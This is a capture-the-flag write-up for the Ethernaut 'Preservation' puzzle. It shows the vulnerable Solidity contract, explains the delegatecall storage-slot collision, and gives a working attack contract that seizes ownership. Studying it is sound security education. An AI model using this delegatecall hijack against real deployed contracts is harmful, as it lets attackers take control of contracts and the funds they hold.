Ethernaut Puzzle 16 Preservation

This question has a difficulty rating of 4 stars and is a very interesting one.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {

// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}

// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}

// Simple library contract to set the time
contract LibraryContract {

// stores a timestamp
uint storedTime;

function setTime(uint _time) public {
storedTime = _time;
}
}

The exercise provides two smart contracts: Preservation and LibraryContract. The task requires changing the owner of contract Preservation to your own address. Currently, timeZone1Library in contract Preservation points to LibraryContract. So when you call setFirstTime in Preservation contract, it actually invokes setTime in LibraryContract. The logic in LibraryContract sets the storedTime variable, but it inadvertently overrides the address of timeZone1Library because they are in the same slot.

Now, things become straightforward. If we can override the address of timeZone1Library, we can replace it with our smart contract’s address and execute the setTime function within our smart contract. The first line in the attack() function, challenge.setFirstTime(uint256(address(this)));, accomplishes this.

Now timeZone1Library points to our smart contract. When we call setFirstTime in Preservation, it actually executes setTime() within our smart contract. At this point, we just need to determine the address of the owner and assign it to the third slot in the original Preservation contract. In our case, challenge.setFirstTime(uint256(0x5658812956448D63691e0F185264F484E2d0CbB1)); accomplishes this. Replace 0x5658812956448D63691e0F185264F484E2d0CbB1 with your own address.

Mission accomplished!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.4.21;


interface IChallenge {

function setFirstTime(uint _timeStamp) external;
function setSecondTime(uint _timeStamp) external;
}

contract Challenge {
address public t1;
address public t2;
address public owner;
IChallenge public challenge;

constructor() {
challenge = IChallenge({%YOUR_CHALLENGE_ADDRESS%});
}

function attack() external {
challenge.setFirstTime(uint256(address(this)));
challenge.setFirstTime(uint256(0x5658812956448D63691e0F185264F484E2d0CbB1));
}

function setTime(address _time) public {
owner = _time;
}
}